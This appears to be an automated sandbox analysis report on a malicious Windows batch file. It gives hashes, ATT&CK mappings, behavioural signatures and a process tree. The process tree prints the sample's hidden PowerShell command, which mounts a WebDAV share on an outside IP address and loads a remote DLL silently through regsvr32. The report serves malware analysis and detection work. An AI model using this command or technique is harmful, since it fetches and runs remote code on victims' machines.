ac3f2365dc070bd0b7e2a53db6337a4909d276c74a1e372328863d2225a41572

Analysis

max time kernel
101s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 21:03

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General

Target

29675268181591712425.bat
Size

18KB
MD5

3e306297f24cbe07c86e6f5e097e0cb2
SHA1

32dd95e0bb8bd51c90d2990a8ba0b9ebfd0adddd
SHA256

ac3f2365dc070bd0b7e2a53db6337a4909d276c74a1e372328863d2225a41572
SHA512

c746d0b51f87e6d26e23340a29304e33754175068ec035eeffaa4030a0463f03c49d878481a0c6a1910a860a8208e9f809c07f4284f66db51edd8c564865d046
SSDEEP

384:oz1qC3RyVFsQ4S/4+9TFZKRtiheRaTVJjakxVLF1nGsJE3CqK+Q9J:or3RygXklFZyRGBrpnnxWmJ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2120	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2120	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2120	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2196	wordpad.exe
2196	wordpad.exe
2196	wordpad.exe
2196	wordpad.exe
2196	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 2196	2028	cmd.exe	30
PID 2028 wrote to memory of 2196	2028	cmd.exe	30
PID 2028 wrote to memory of 2196	2028	cmd.exe	30
PID 2028 wrote to memory of 2120	2028	cmd.exe	31
PID 2028 wrote to memory of 2120	2028	cmd.exe	31
PID 2028 wrote to memory of 2120	2028	cmd.exe	31
PID 2120 wrote to memory of 2648	2120	powershell.exe	33
PID 2120 wrote to memory of 2648	2120	powershell.exe	33
PID 2120 wrote to memory of 2648	2120	powershell.exe	33
PID 2120 wrote to memory of 2568	2120	powershell.exe	34
PID 2120 wrote to memory of 2568	2120	powershell.exe	34
PID 2120 wrote to memory of 2568	2120	powershell.exe	34
PID 2120 wrote to memory of 2568	2120	powershell.exe	34
PID 2120 wrote to memory of 2568	2120	powershell.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\29675268181591712425.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2889238204240.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2648
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2889238204240.dll
    3⤵
    PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2120-22-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/2120-23-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download